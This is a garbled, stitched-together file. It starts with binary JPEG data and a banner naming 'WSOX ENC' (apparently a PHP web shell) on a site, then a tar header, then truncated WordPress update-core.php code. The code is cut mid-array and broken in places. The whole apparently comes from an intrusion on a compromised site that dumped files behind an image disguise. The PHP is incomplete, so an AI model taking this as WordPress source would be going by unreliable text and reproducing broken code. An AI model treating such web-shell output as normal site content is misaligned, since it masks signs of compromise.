���� JFIF �� �
"" $(4,$&1'-=-157:::#+?D?8C49:7
7%%77777777777777777777777777777777777777777777777777�� { �" �� �� 5 !1AQa"q�2��BR��#b������� �� �� ? ��D@DDD@DDD@DDkK��6 �UG�4V�1��
�����릟�@�#���RY�dqp�
����� �o�7�m�s�<��VPS�e~V�چ8���X�T��$��c�� 9��ᘆ�m6@ WU�f�Don��r��5}9��}��hc�fF��/r=hi�� �͇�*�� b�.��$0�&te��y�@�A�F�=� Pf�A��a���˪�Œ�É��U|� � 3\�״ H SZ�g46�C��צ�ے �b<���;m����Rpع^��l7��*�����TF�}�\�M���M%�'�����٠ݽ�v� ��!-�����?�N!La��A+[`#���M����'�~oR�?��v^)��=��h����A��X�.���˃����^Æ��ܯsO"B�c>;
�e�4��5�k��/CB��.
�J?��;�҈�������������������~�<�VZ�ê¼2/)Í”jC���ע�V�G�!���!�F������\�� Kj�R�oc�h���:Þ I��1"2�q×°8��Р@ז���_C0�ր��A��lQ��@纼�!7��F�� �]�sZ
B�62r�v�z~�K�7�c��5�.���ӄq&�Z�d�<�kk���T&8�|���I���� Ws}���ǽ�cqnΑ�_���3��|N�-y,��i���ȗ_�\60���@��6����D@DDD@DDD@DDD@DDD@DDc�KN66<�c��64=r�����
Ď0��h���t&(�hnb[� ?��^��\��â|�,�/h�\��R��5�?
�0�!צ܉-����G����٬��Q�zA���1�����V��� �:R���`�$��ik��H����D4�����#dk����� h�}����7���w%�������*o8wG�LycuT�.���ܯ7��I��u^���)��/c�,s�Nq�ۺ�;�ך�YH2���.5B���DDD@DDD@DDD@DDD@DDD@V|�a�j{7c��X�F\�3MuA׾hb� ��n��F������ ��8�(��e����Pp�\"G�`s��m��ާaW�K��O����|;ei����֋�[�q��";a��1����Y�G�W/�߇�&�<���Ќ�H'q�m���)�X+!���=�m�ۚ丷~6a^X�)���,�>#&6G���Y��{����"" """ """ """ """ ""��at\/�a�8 �yp%�lhl�n����)���i�t��B�������������?��modskinlienminh.com - WSOX ENC
update-core.php 0000644 00000207323 14757313107 0007504 0 ustar 00 'wp-includes/Requests/Auth.php',
'Requests_Hooker' => 'wp-includes/Requests/Hooker.php',
'Requests_Proxy' => 'wp-includes/Requests/Proxy.php',
'Requests_Transport' => 'wp-includes/Requests/Transport.php',
// Classes.
'Requests_Auth_Basic' => 'wp-includes/Requests/Auth/Basic.php',
'Requests_Cookie_Jar' => 'wp-includes/Requests/Cookie/Jar.php',
'Requests_Exception_HTTP' => 'wp-includes/Requests/Exception/HTTP.php',
'Requests_Exception_Transport' => 'wp-includes/Requests/Exception/Transport.php',
'Requests_Exception_HTTP_304' => 'wp-includes/Requests/Exception/HTTP/304.php',
'Requests_Exception_HTTP_305' => 'wp-includes/Requests/Exception/HTTP/305.php',
'Requests_Exception_HTTP_306' => 'wp-includes/Requests/Exception/HTTP/306.php',
'Requests_Exception_HTTP_400' => 'wp-includes/Requests/Exception/HTTP/400.php',
'Requests_Exception_HTTP_401' => 'wp-includes/Requests/Exception/HTTP/401.php',
'Requests_Exception_HTTP_402' => 'wp-includes/Requests/Exception/HTTP/402.php',
'Requests_Exception_HTTP_403' => 'wp-includes/Requests/Exception/HTTP/403.php',
'Requests_Exception_HTTP_404' => 'wp-includes/Requests/Exception/HTTP/404.php',
'Requests_Exception_HTTP_405' => 'wp-includes/Requests/Exception/HTTP/405.php',
'Requests_Exception_HTTP_406' => 'wp-includes/Requests/Exception/HTTP/406.php',
'Requests_Exception_HTTP_407' => 'wp-includes/Requests/Exception/HTTP/407.php',
'Requests_Exception_HTTP_408' => 'wp-includes/Requests/Exception/HTTP/408.php',
'Requests_Exception_HTTP_409' => 'wp-includes/Requests/Exception/HTTP/409.php',
'Requests_Exception_HTTP_410' => 'wp-includes/Requests/Exception/HTTP/410.php',
'Requests_Exception_HTTP_411' => 'wp-includes/Requests/Exception/HTTP/411.php',
'Requests_Exception_HTTP_412' => 'wp-includes/Requests/Exception/HTTP/412.php',
'Requests_Exception_HTTP_413' => 'wp-includes/Requests/Exception/HTTP/413.php',
'Requests_Exception_HTTP_414' => 'wp-includes/Requests/Exception/HTTP/414.php',
'Requests_Exception_HTTP_415' => 'wp-includes/Requests/Exception/HTTP/415.php',
'Requests_Exception_HTTP_416' => 'wp-includes/Requests/Exception/HTTP/416.php',
'Requests_Exception_HTTP_417' => 'wp-includes/Requests/Exception/HTTP/417.php',
'Requests_Exception_HTTP_418' => 'wp-includes/Requests/Exception/HTTP/418.php',
'Requests_Exception_HTTP_428' => 'wp-includes/Requests/Exception/HTTP/428.php',
'Requests_Exception_HTTP_429' => 'wp-includes/Requests/Exception/HTTP/429.php',
'Requests_Exception_HTTP_431' => 'wp-includes/Requests/Exception/HTTP/431.php',
'Requests_Exception_HTTP_500' => 'wp-includes/Requests/Exception/HTTP/500.php',
'Requests_Exception_HTTP_501' => 'wp-includes/Requests/Exception/HTTP/501.php',
'Requests_Exception_HTTP_502' => 'wp-includes/Requests/Exception/HTTP/502.php',
'Requests_Exception_HTTP_503' => 'wp-includes/Requests/Exception/HTTP/503.php',
'Requests_Exception_HTTP_504' => 'wp-includes/Requests/Exception/HTTP/504.php',
'Requests_Exception_HTTP_505' => 'wp-includes/Requests/Exception/HTTP/505.php',
'Requests_Exception_HTTP_511' => 'wp-includes/Requests/Exception/HTTP/511.php',
'Requests_Exception_HTTP_Unknown' => 'wp-includes/Requests/Exception/HTTP/Unknown.php',
'Requests_Exception_Transport_cURL' => 'wp-includes/Requests/Exception/Transport/cURL.php',
'Requests_Proxy_HTTP' => 'wp-includes/Requests/Proxy/HTTP.php',
'Requests_Response_Headers' => 'wp-includes/Requests/Response/Headers.php',
'Requests_Transport_cURL' => 'wp-includes/Requests/Transport/cURL.php',
'Requests_Transport_fsockopen' => 'wp-includes/Requests/Transport/fsockopen.php',
'Requests_Utility_CaseInsensitiveDictionary' => 'wp-includes/Requests/Utility/CaseInsensitiveDictionary.php',
'Requests_Utility_FilteredIterator' => 'wp-includes/Requests/Utility/FilteredIterator.php',
'Requests_Cookie' => 'wp-includes/Requests/Cookie.php',
'Requests_Exception' => 'wp-includes/Requests/Exception.php',
'Requests_Hooks' => 'wp-includes/Requests/Hooks.php',
'Requests_IDNAEncoder' => 'wp-includes/Requests/IDNAEncoder.php',
'Requests_IPv6' => 'wp-includes/Requests/IPv6.php',
'Requests_IRI' => 'wp-includes/Requests/IRI.php',
'Requests_Response' => 'wp-includes/Requests/Response.php',
'Requests_SSL' => 'wp-includes/Requests/SSL.php',
'Requests_Session' => 'wp-includes/Requests/Session.php',
// Directories.
'wp-includes/Requests/Auth/',
'wp-includes/Requests/Cookie/',
'wp-includes/Requests/Exception/HTTP/',
'wp-includes/Requests/Exception/Transport/',
'wp-includes/Requests/Exception/',
'wp-includes/Requests/Proxy/',
'wp-includes/Requests/Response/',
'wp-includes/Requests/Transport/',
'wp-includes/Requests/Utility/',
);
/**
* Stores new files in wp-content to copy
*
* The contents of this array indicate any new bundled plugins/themes which
* should be installed with the WordPress Upgrade. These items will not be
* re-installed in future upgrades, this behavior is controlled by the
* introduced version present here being older than the current installed version.
*
* The content of this array should follow the following format:
* Filename (relative to wp-content) => Introduced version
* Directories should be noted by suffixing it with a trailing slash (/)
*
* @since 3.2.0
* @since 4.7.0 New themes were not automatically installed for 4.4-4.6 on
* upgrade. New themes are now installed again. To disable new
* themes from being installed on upgrade, explicitly define
* CORE_UPGRADE_SKIP_NEW_BUNDLED as true.
* @global array $_new_bundled_files
* @var array
* @name $_new_bundled_files
*/
global $_new_bundled_files;
$_new_bundled_files = array(
'plugins/akismet/' => '2.0',
'themes/twentyten/' => '3.0',
'themes/twentyeleven/' => '3.2',
'themes/twentytwelve/' => '3.5',
'themes/twentythirteen/' => '3.6',
'themes/twentyfourteen/' => '3.8',
'themes/twentyfifteen/' => '4.1',
'themes/twentysixteen/' => '4.4',
'themes/twentyseventeen/' => '4.7',
'themes/twentynineteen/' => '5.0',
'themes/twentytwenty/' => '5.3',
'themes/twentytwentyone/' => '5.6',
'themes/twentytwentytwo/' => '5.9',
'themes/twentytwentythree/' => '6.1',
'themes/twentytwentyfour/' => '6.4',
'themes/twentytwentyfive/' => '6.7',
);
/**
* Upgrades the core of WordPress.
*
* This will create a .maintenance file at the base of the WordPress directory
* to ensure that people can not access the website, when the files are being
* copied to their locations.
*
* The files in the `$_old_files` list will be removed and the new files
* copied from the zip file after the database is upgraded.
*
* The files in the `$_new_bundled_files` list will be added to the installation
* if the version is greater than or equal to the old version being upgraded.
*
* The steps for the upgrader for after the new release is downloaded and
* unzipped is:
* 1. Test unzipped location for select files to ensure that unzipped worked.
* 2. Create the .maintenance file in current WordPress base.
* 3. Copy new WordPress directory over old WordPress files.
* 4. Upgrade WordPress to new version.
* 4.1. Copy all files/folders other than wp-content
* 4.2. Copy any language files to WP_LANG_DIR (which may differ from WP_CONTENT_DIR
* 4.3. Copy any new bundled themes/plugins to their respective locations
* 5. Delete new WordPress directory path.
* 6. Delete .maintenance file.
* 7. Remove old files.
* 8. Delete 'update_core' option.
*
* There are several areas of failure. For instance if PHP times out before step
* 6, then you will not be able to access any portion of your site. Also, since
* the upgrade will not continue where it left off, you will not be able to
* automatically remove old files and remove the 'update_core' option. This
* isn't that bad.
*
* If the copy of the new WordPress over the old fails, then the worse is that
* the new WordPress directory will remain.
*
* If it is assumed that every file will be copied over, including plugins and
* themes, then if you edit the default theme, you should rename it, so that
* your changes remain.
*
* @since 2.7.0
*
* @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
* @global array $_old_files
* @global array $_old_requests_files
* @global array $_new_bundled_files
* @global wpdb $wpdb WordPress database abstraction object.
* @global string $wp_version
* @global string $required_php_version
* @global string $required_mysql_version
*
* @param string $from New release unzipped path.
* @param string $to Path to old WordPress installation.
* @return string|WP_Error New WordPress version on success, WP_Error on failure.
*/
function update_core( $from, $to ) {
global $wp_filesystem, $_old_files, $_old_requests_files, $_new_bundled_files, $wpdb;
if ( function_exists( 'set_time_limit' ) ) {
// Gives core update script time an additional 300 seconds(5 minutes) to finish updating large files or run on slower servers.
set_time_limit( 300 );
}
/*
* Merge the old Requests files and directories into the `$_old_files`.
* Then preload these Requests files first, before the files are deleted
* and replaced to ensure the code is in memory if needed.
*/
$_old_files = array_merge( $_old_files, array_values( $_old_requests_files ) );
_preload_old_requests_classes_and_interfaces( $to );
/**
* Filters feedback messages displayed during the core update process.
*
* The filter is first evaluated after the zip file for the latest version
* has been downloaded and unzipped. It is evaluated five more times during
* the process:
*
* 1. Before WordPress begins the core upgrade process.
* 2. Before Maintenance Mode is enabled.
* 3. Before WordPress begins copying over the necessary files.
* 4. Before Maintenance Mode is disabled.
* 5. Before the database is upgraded.
*
* @since 2.5.0
*
* @param string $feedback The core update feedback messages.
*/
apply_filters( 'update_feedback', __( 'Verifying the unpacked files…' ) );
// Confidence check the unzipped distribution.
$distro = '';
$roots = array( '/wordpress/', '/wordpress-mu/' );
foreach ( $roots as $root ) {
if ( $wp_filesystem->exists( $from . $root . 'readme.html' )
&& $wp_filesystem->exists( $from . $root . 'wp-includes/version.php' )
) {
$distro = $root;
break;
}
}
if ( ! $distro ) {
$wp_filesystem->delete( $from, true );
return new WP_Error( 'insane_distro', __( 'The update could not be unpacked' ) );
}
/*
* Import $wp_version, $required_php_version, and $required_mysql_version from the new version.
* DO NOT globalize any variables imported from `version-current.php` in this function.
*
* BC Note: $wp_filesystem->wp_content_dir() returned unslashed pre-2.8.
*/
$versions_file = trailingslashit( $wp_filesystem->wp_content_dir() ) . 'upgrade/version-current.php';
if ( ! $wp_filesystem->copy( $from . $distro . 'wp-includes/version.php', $versions_file ) ) {
$wp_filesystem->delete( $from, true );
return new WP_Error(
'copy_failed_for_version_file',
__( 'The update cannot be installed because some files could not be copied. This is usually due to inconsistent file permissions.' ),
'wp-includes/version.php'
);
}
$wp_filesystem->chmod( $versions_file, FS_CHMOD_FILE );
/*
* `wp_opcache_invalidate()` only exists in WordPress 5.5 or later,
* so don't run it when upgrading from older versions.
*/
if ( function_exists( 'wp_opcache_invalidate' ) ) {
wp_opcache_invalidate( $versions_file );
}
require WP_CONTENT_DIR . '/upgrade/version-current.php';
$wp_filesystem->delete( $versions_file );
$php_version = PHP_VERSION;
$mysql_version = $wpdb->db_version();
$old_wp_version = $GLOBALS['wp_version']; // The version of WordPress we're updating from.
/*
* Note: str_contains() is not used here, as this file is included
* when updating from older WordPress versions, in which case
* the polyfills from wp-includes/compat.php may not be available.
*/
$development_build = ( false !== strpos( $old_wp_version . $wp_version, '-' ) ); // A dash in the version indicates a development release.
$php_compat = version_compare( $php_version, $required_php_version, '>=' );
if ( file_exists( WP_CONTENT_DIR . '/db.php' ) && empty( $wpdb->is_mysql ) ) {
$mysql_compat = true;
} else {
$mysql_compat = version_compare( $mysql_version, $required_mysql_version, '>=' );
}
if ( ! $mysql_compat || ! $php_compat ) {
$wp_filesystem->delete( $from, true );
}
$php_update_message = '';
if ( function_exists( 'wp_get_update_php_url' ) ) {
$php_update_message = '
' . sprintf(
/* translators: %s: URL to Update PHP page. */
__( 'Learn more about updating PHP.' ),
esc_url( wp_get_update_php_url() )
);
if ( function_exists( 'wp_get_update_php_annotation' ) ) {
$annotation = wp_get_update_php_annotation();
if ( $annotation ) {
$php_update_message .= '
' . $annotation . '';
}
}
}
if ( ! $mysql_compat && ! $php_compat ) {
return new WP_Error(
'php_mysql_not_compatible',
sprintf(
/* translators: 1: WordPress version number, 2: Minimum required PHP version number, 3: Minimum required MySQL version number, 4: Current PHP version number, 5: Current MySQL version number. */
__( 'The update cannot be installed because WordPress %1$s requires PHP version %2$s or higher and MySQL version %3$s or higher. You are running PHP version %4$s and MySQL version %5$s.' ),
$wp_version,
$required_php_version,
$required_mysql_version,
$php_version,
$mysql_version
) . $php_update_message
);
} elseif ( ! $php_compat ) {
return new WP_Error(
'php_not_compatible',
sprintf(
/* translators: 1: WordPress version number, 2: Minimum required PHP version number, 3: Current PHP version number. */
__( 'The update cannot be installed because WordPress %1$s requires PHP version %2$s or higher. You are running version %3$s.' ),
$wp_version,
$required_php_version,
$php_version
) . $php_update_message
);
} elseif ( ! $mysql_compat ) {
return new WP_Error(
'mysql_not_compatible',
sprintf(
/* translators: 1: WordPress version number, 2: Minimum required MySQL version number, 3: Current MySQL version number. */
__( 'The update cannot be installed because WordPress %1$s requires MySQL version %2$s or higher. You are running version %3$s.' ),
$wp_version,
$required_mysql_version,
$mysql_version
)
);
}
// Add a warning when the JSON PHP extension is missing.
if ( ! extension_loaded( 'json' ) ) {
return new WP_Error(
'php_not_compatible_json',
sprintf(
/* translators: 1: WordPress version number, 2: The PHP extension name needed. */
__( 'The update cannot be installed because WordPress %1$s requires the %2$s PHP extension.' ),
$wp_version,
'JSON'
)
);
}
/** This filter is documented in wp-admin/includes/update-core.php */
apply_filters( 'update_feedback', __( 'Preparing to install the latest version…' ) );
/*
* Don't copy wp-content, we'll deal with that below.
* We also copy version.php last so failed updates report their old version.
*/
$skip = array( 'wp-content', 'wp-includes/version.php' );
$check_is_writable = array();
// Check to see which files don't really need updating - only available for 3.7 and higher.
if ( function_exists( 'get_core_checksums' ) ) {
// Find the local version of the working directory.
$working_dir_local = WP_CONTENT_DIR . '/upgrade/' . basename( $from ) . $distro;
$checksums = get_core_checksums( $wp_version, isset( $wp_local_package ) ? $wp_local_package : 'en_US' );
if ( is_array( $checksums ) && isset( $checksums[ $wp_version ] ) ) {
$checksums = $checksums[ $wp_version ]; // Compat code for 3.7-beta2.
}
if ( is_array( $checksums ) ) {
foreach ( $checksums as $file => $checksum ) {
/*
* Note: str_starts_with() is not used here, as this file is included
* when updating from older WordPress versions, in which case
* the polyfills from wp-includes/compat.php may not be available.
*/
if ( 'wp-content' === substr( $file, 0, 10 ) ) {
continue;
}
if ( ! file_exists( ABSPATH . $file ) ) {
continue;
}
if ( ! file_exists( $working_dir_local . $file ) ) {
continue;
}
if ( '.' === dirname( $file )
&& in_array( pathinfo( $file, PATHINFO_EXTENSION ), array( 'html', 'txt' ), true )
) {
continue;
}
if ( md5_file( ABSPATH . $file ) === $checksum ) {
$skip[] = $file;
} else {
$check_is_writable[ $file ] = ABSPATH . $file;
}
}
}
}
// If we're using the direct method, we can predict write failures that are due to permissions.
if ( $check_is_writable && 'direct' === $wp_filesystem->method ) {
$files_writable = array_filter( $check_is_writable, array( $wp_filesystem, 'is_writable' ) );
if ( $files_writable !== $check_is_writable ) {
$files_not_writable = array_diff_key( $check_is_writable, $files_writable );
foreach ( $files_not_writable as $relative_file_not_writable => $file_not_writable ) {
// If the writable check failed, chmod file to 0644 and try again, same as copy_dir().
$wp_filesystem->chmod( $file_not_writable, FS_CHMOD_FILE );
if ( $wp_filesystem->is_writable( $file_not_writable ) ) {
unset( $files_not_writable[ $relative_file_not_writable ] );
}
}
// Store package-relative paths (the key) of non-writable files in the WP_Error object.
$error_data = version_compare( $old_wp_version, '3.7-beta2', '>' ) ? array_keys( $files_not_writable ) : '';
if ( $files_not_writable ) {
return new WP_Error(
'files_not_writable',
__( 'The update cannot be installed because your site is unable to copy some files. This is usually due to inconsistent file permissions.' ),
implode( ', ', $error_data )
);
}
}
}
/** This filter is documented in wp-admin/includes/update-core.php */
apply_filters( 'update_feedback', __( 'Enabling Maintenance mode…' ) );
// Create maintenance file to signal that we are upgrading.
$maintenance_string = '';
$maintenance_file = $to . '.maintenance';
$wp_filesystem->delete( $maintenance_file );
$wp_filesystem->put_contents( $maintenance_file, $maintenance_string, FS_CHMOD_FILE );
/** This filter is documented in wp-admin/includes/update-core.php */
apply_filters( 'update_feedback', __( 'Copying the required files…' ) );
// Copy new versions of WP files into place.
$result = copy_dir( $from . $distro, $to, $skip );
if ( is_wp_error( $result ) ) {
$result = new WP_Error(
$result->get_error_code(),
$result->get_error_message(),
substr( $result->get_error_data(), strlen( $to ) )
);
}
// Since we know the core files have copied over, we can now copy the version file.
if ( ! is_wp_error( $result ) ) {
if ( ! $wp_filesystem->copy( $from . $distro . 'wp-includes/version.php', $to . 'wp-includes/version.php', true /* overwrite */ ) ) {
$wp_filesystem->delete( $from, true );
$result = new WP_Error(
'copy_failed_for_version_file',
__( 'The update cannot be installed because your site is unable to copy some files. This is usually due to inconsistent file permissions.' ),
'wp-includes/version.php'
);
}
$wp_filesystem->chmod( $to . 'wp-includes/version.php', FS_CHMOD_FILE );
/*
* `wp_opcache_invalidate()` only exists in WordPress 5.5 or later,
* so don't run it when upgrading from older versions.
*/
if ( function_exists( 'wp_opcache_invalidate' ) ) {
wp_opcache_invalidate( $to . 'wp-includes/version.php' );
}
}
// Check to make sure everything copied correctly, ignoring the contents of wp-content.
$skip = array( 'wp-content' );
$failed = array();
if ( isset( $checksums ) && is_array( $checksums ) ) {
foreach ( $checksums as $file => $checksum ) {
/*
* Note: str_starts_with() is not used here, as this file is included
* when updating from older WordPress versions, in which case
* the polyfills from wp-includes/compat.php may not be available.
*/
if ( 'wp-content' === substr( $file, 0, 10 ) ) {
continue;
}
if ( ! file_exists( $working_dir_local . $file ) ) {
continue;
}
if ( '.' === dirname( $file )
&& in_array( pathinfo( $file, PATHINFO_EXTENSION ), array( 'html', 'txt' ), true )
) {
$skip[] = $file;
continue;
}
if ( file_exists( ABSPATH . $file ) && md5_file( ABSPATH . $file ) === $checksum ) {
$skip[] = $file;
} else {
$failed[] = $file;
}
}
}
// Some files didn't copy properly.
if ( ! empty( $failed ) ) {
$total_size = 0;
foreach ( $failed as $file ) {
if ( file_exists( $working_dir_local . $file ) ) {
$total_size += filesize( $working_dir_local . $file );
}
}
/*
* If we don't have enough free space, it isn't worth trying again.
* Unlikely to be hit due to the check in unzip_file().
*/
$available_space = function_exists( 'disk_free_space' ) ? @disk_free_space( ABSPATH ) : false;
if ( $available_space && $total_size >= $available_space ) {
$result = new WP_Error( 'disk_full', __( 'There is not enough free disk space to complete the update.' ) );
} else {
$result = copy_dir( $from . $distro, $to, $skip );
if ( is_wp_error( $result ) ) {
$result = new WP_Error(
$result->get_error_code() . '_retry',
$result->get_error_message(),
substr( $result->get_error_data(), strlen( $to ) )
);
}
}
}
/*
* Custom content directory needs updating now.
* Copy languages.
*/
if ( ! is_wp_error( $result ) && $wp_filesystem->is_dir( $from . $distro . 'wp-content/languages' ) ) {
if ( WP_LANG_DIR !== ABSPATH . WPINC . '/languages' || @is_dir( WP_LANG_DIR ) ) {
$lang_dir = WP_LANG_DIR;
} else {
$lang_dir = WP_CONTENT_DIR . '/languages';
}
/*
* Note: str_starts_with() is not used here, as this file is included
* when updating from older WordPress versions, in which case
* the polyfills from wp-includes/compat.php may not be available.
*/
// Check if the language directory exists first.
if ( ! @is_dir( $lang_dir ) && 0 === strpos( $lang_dir, ABSPATH ) ) {
// If it's within the ABSPATH we can handle it here, otherwise they're out of luck.
$wp_filesystem->mkdir( $to . str_replace( ABSPATH, '', $lang_dir ), FS_CHMOD_DIR );
clearstatcache(); // For FTP, need to clear the stat cache.
}
if ( @is_dir( $lang_dir ) ) {
$wp_lang_dir = $wp_filesystem->find_folder( $lang_dir );
if ( $wp_lang_dir ) {
$result = copy_dir( $from . $distro . 'wp-content/languages/', $wp_lang_dir );
if ( is_wp_error( $result ) ) {
$result = new WP_Error(
$result->get_error_code() . '_languages',
$result->get_error_message(),
substr( $result->get_error_data(), strlen( $wp_lang_dir ) )
);
}
}
}
}
/** This filter is documented in wp-admin/includes/update-core.php */
apply_filters( 'update_feedback', __( 'Disabling Maintenance mode…' ) );
// Remove maintenance file, we're done with potential site-breaking changes.
$wp_filesystem->delete( $maintenance_file );
/*
* 3.5 -> 3.5+ - an empty twentytwelve directory was created upon upgrade to 3.5 for some users,
* preventing installation of Twenty Twelve.
*/
if ( '3.5' === $old_wp_version ) {
if ( is_dir( WP_CONTENT_DIR . '/themes/twentytwelve' )
&& ! file_exists( WP_CONTENT_DIR . '/themes/twentytwelve/style.css' )
) {
$wp_filesystem->delete( $wp_filesystem->wp_themes_dir() . 'twentytwelve/' );
}
}
/*
* Copy new bundled plugins & themes.
* This gives us the ability to install new plugins & themes bundled with
* future versions of WordPress whilst avoiding the re-install upon upgrade issue.
* $development_build controls us overwriting bundled themes and plugins when a non-stable release is being updated.
*/
if ( ! is_wp_error( $result )
&& ( ! defined( 'CORE_UPGRADE_SKIP_NEW_BUNDLED' ) || ! CORE_UPGRADE_SKIP_NEW_BUNDLED )
) {
foreach ( (array) $_new_bundled_files as $file => $introduced_version ) {
// If a $development_build or if $introduced version is greater than what the site was previously running.
if ( $development_build || version_compare( $introduced_version, $old_wp_version, '>' ) ) {
$directory = ( '/' === $file[ strlen( $file ) - 1 ] );
list( $type, $filename ) = explode( '/', $file, 2 );
// Check to see if the bundled items exist before attempting to copy them.
if ( ! $wp_filesystem->exists( $from . $distro . 'wp-content/' . $file ) ) {
continue;
}
if ( 'plugins' === $type ) {
$dest = $wp_filesystem->wp_plugins_dir();
} elseif ( 'themes' === $type ) {
// Back-compat, ::wp_themes_dir() did not return trailingslash'd pre-3.2.
$dest = trailingslashit( $wp_filesystem->wp_themes_dir() );
} else {
continue;
}
if ( ! $directory ) {
if ( ! $development_build && $wp_filesystem->exists( $dest . $filename ) ) {
continue;
}
if ( ! $wp_filesystem->copy( $from . $distro . 'wp-content/' . $file, $dest . $filename, FS_CHMOD_FILE ) ) {
$result = new WP_Error( "copy_failed_for_new_bundled_$type", __( 'Could not copy file.' ), $dest . $filename );
}
} else {
if ( ! $development_build && $wp_filesystem->is_dir( $dest . $filename ) ) {
continue;
}
$wp_filesystem->mkdir( $dest . $filename, FS_CHMOD_DIR );
$_result = copy_dir( $from . $distro . 'wp-content/' . $file, $dest . $filename );
/*
* If an error occurs partway through this final step,
* keep the error flowing through, but keep the process going.
*/
if ( is_wp_error( $_result ) ) {
if ( ! is_wp_error( $result ) ) {
$result = new WP_Error();
}
$result->add(
$_result->get_error_code() . "_$type",
$_result->get_error_message(),
substr( $_result->get_error_data(), strlen( $dest ) )
);
}
}
}
} // End foreach.
}
// Handle $result error from the above blocks.
if ( is_wp_error( $result ) ) {
$wp_filesystem->delete( $from, true );
return $result;
}
// Remove old files.
foreach ( $_old_files as $old_file ) {
$old_file = $to . $old_file;
if ( ! $wp_filesystem->exists( $old_file ) ) {
continue;
}
// If the file isn't deleted, try writing an empty string to the file instead.
if ( ! $wp_filesystem->delete( $old_file, true ) && $wp_filesystem->is_file( $old_file ) ) {
$wp_filesystem->put_contents( $old_file, '' );
}
}
// Remove any Genericons example.html's from the filesystem.
_upgrade_422_remove_genericons();
// Deactivate the REST API plugin if its version is 2.0 Beta 4 or lower.
_upgrade_440_force_deactivate_incompatible_plugins();
// Deactivate incompatible plugins.
_upgrade_core_deactivate_incompatible_plugins();
// Upgrade DB with separate request.
/** This filter is documented in wp-admin/includes/update-core.php */
apply_filters( 'update_feedback', __( 'Upgrading database…' ) );
$db_upgrade_url = admin_url( 'upgrade.php?step=upgrade_db' );
wp_remote_post( $db_upgrade_url, array( 'timeout' => 60 ) );
// Clear the cache to prevent an update_option() from saving a stale db_version to the cache.
wp_cache_flush();
// Not all cache back ends listen to 'flush'.
wp_cache_delete( 'alloptions', 'options' );
// Remove working directory.
$wp_filesystem->delete( $from, true );
// Force refresh of update information.
if ( function_exists( 'delete_site_transient' ) ) {
delete_site_transient( 'update_core' );
} else {
delete_option( 'update_core' );
}
/**
* Fires after WordPress core has been successfully updated.
*
* @since 3.3.0
*
* @param string $wp_version The current WordPress version.
*/
do_action( '_core_updated_successfully', $wp_version );
// Clear the option that blocks auto-updates after failures, now that we've been successful.
if ( function_exists( 'delete_site_option' ) ) {
delete_site_option( 'auto_core_update_failed' );
}
return $wp_version;
}
/**
* Preloads old Requests classes and interfaces.
*
* This function preloads the old Requests code into memory before the
* upgrade process deletes the files. Why? Requests code is loaded into
* memory via an autoloader, meaning when a class or interface is needed
* If a request is in process, Requests could attempt to access code. If
* the file is not there, a fatal error could occur. If the file was
* replaced, the new code is not compatible with the old, resulting in
* a fatal error. Preloading ensures the code is in memory before the
* code is updated.
*
* @since 6.2.0
*
* @global array $_old_requests_files Requests files to be preloaded.
* @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
* @global string $wp_version The WordPress version string.
*
* @param string $to Path to old WordPress installation.
*/
function _preload_old_requests_classes_and_interfaces( $to ) {
global $_old_requests_files, $wp_filesystem, $wp_version;
/*
* Requests was introduced in WordPress 4.6.
*
* Skip preloading if the website was previously using
* an earlier version of WordPress.
*/
if ( version_compare( $wp_version, '4.6', '<' ) ) {
return;
}
if ( ! defined( 'REQUESTS_SILENCE_PSR0_DEPRECATIONS' ) ) {
define( 'REQUESTS_SILENCE_PSR0_DEPRECATIONS', true );
}
foreach ( $_old_requests_files as $name => $file ) {
// Skip files that aren't interfaces or classes.
if ( is_int( $name ) ) {
continue;
}
// Skip if it's already loaded.
if ( class_exists( $name ) || interface_exists( $name ) ) {
continue;
}
// Skip if the file is missing.
if ( ! $wp_filesystem->is_file( $to . $file ) ) {
continue;
}
require_once $to . $file;
}
}
/**
* Redirect to the About WordPress page after a successful upgrade.
*
* This function is only needed when the existing installation is older than 3.4.0.
*
* @since 3.3.0
*
* @global string $wp_version The WordPress version string.
* @global string $pagenow The filename of the current screen.
* @global string $action
*
* @param string $new_version
*/
function _redirect_to_about_wordpress( $new_version ) {
global $wp_version, $pagenow, $action;
if ( version_compare( $wp_version, '3.4-RC1', '>=' ) ) {
return;
}
// Ensure we only run this on the update-core.php page. The Core_Upgrader may be used in other contexts.
if ( 'update-core.php' !== $pagenow ) {
return;
}
if ( 'do-core-upgrade' !== $action && 'do-core-reinstall' !== $action ) {
return;
}
// Load the updated default text localization domain for new strings.
load_default_textdomain();
// See do_core_upgrade().
show_message( __( 'WordPress updated successfully.' ) );
// self_admin_url() won't exist when upgrading from <= 3.0, so relative URLs are intentional.
show_message(
'' . sprintf(
/* translators: 1: WordPress version, 2: URL to About screen. */
__( 'Welcome to WordPress %1$s. You will be redirected to the About WordPress screen. If not, click here.' ),
$new_version,
'about.php?updated'
) . ''
);
show_message(
'' . sprintf(
/* translators: 1: WordPress version, 2: URL to About screen. */
__( 'Welcome to WordPress %1$s. Learn more.' ),
$new_version,
'about.php?updated'
) . ''
);
echo '';
?>
find_folder( trailingslashit( dirname( $file ) ) );
if ( empty( $gen_dir ) ) {
continue;
}
// The path when the file is accessed via WP_Filesystem may differ in the case of FTP.
$remote_file = $gen_dir . basename( $file );
if ( ! $wp_filesystem->exists( $remote_file ) ) {
continue;
}
if ( ! $wp_filesystem->delete( $remote_file, false, 'f' ) ) {
$wp_filesystem->put_contents( $remote_file, '' );
}
}
}
/**
* Recursively find Genericons example files in a given folder.
*
* @ignore
* @since 4.2.2
*
* @param string $directory Directory path. Expects trailingslashed.
* @return array
*/
function _upgrade_422_find_genericons_files_in_folder( $directory ) {
$directory = trailingslashit( $directory );
$files = array();
if ( file_exists( "{$directory}example.html" )
/*
* Note: str_contains() is not used here, as this file is included
* when updating from older WordPress versions, in which case
* the polyfills from wp-includes/compat.php may not be available.
*/
&& false !== strpos( file_get_contents( "{$directory}example.html" ), '
Genericons' )
) {
$files[] = "{$directory}example.html";
}
$dirs = glob( $directory . '*', GLOB_ONLYDIR );
$dirs = array_filter(
$dirs,
static function ( $dir ) {
/*
* Skip any node_modules directories.
*
* Note: str_contains() is not used here, as this file is included
* when updating from older WordPress versions, in which case
* the polyfills from wp-includes/compat.php may not be available.
*/
return false === strpos( $dir, 'node_modules' );
}
);
if ( $dirs ) {
foreach ( $dirs as $dir ) {
$files = array_merge( $files, _upgrade_422_find_genericons_files_in_folder( $dir ) );
}
}
return $files;
}
/**
* @ignore
* @since 4.4.0
*/
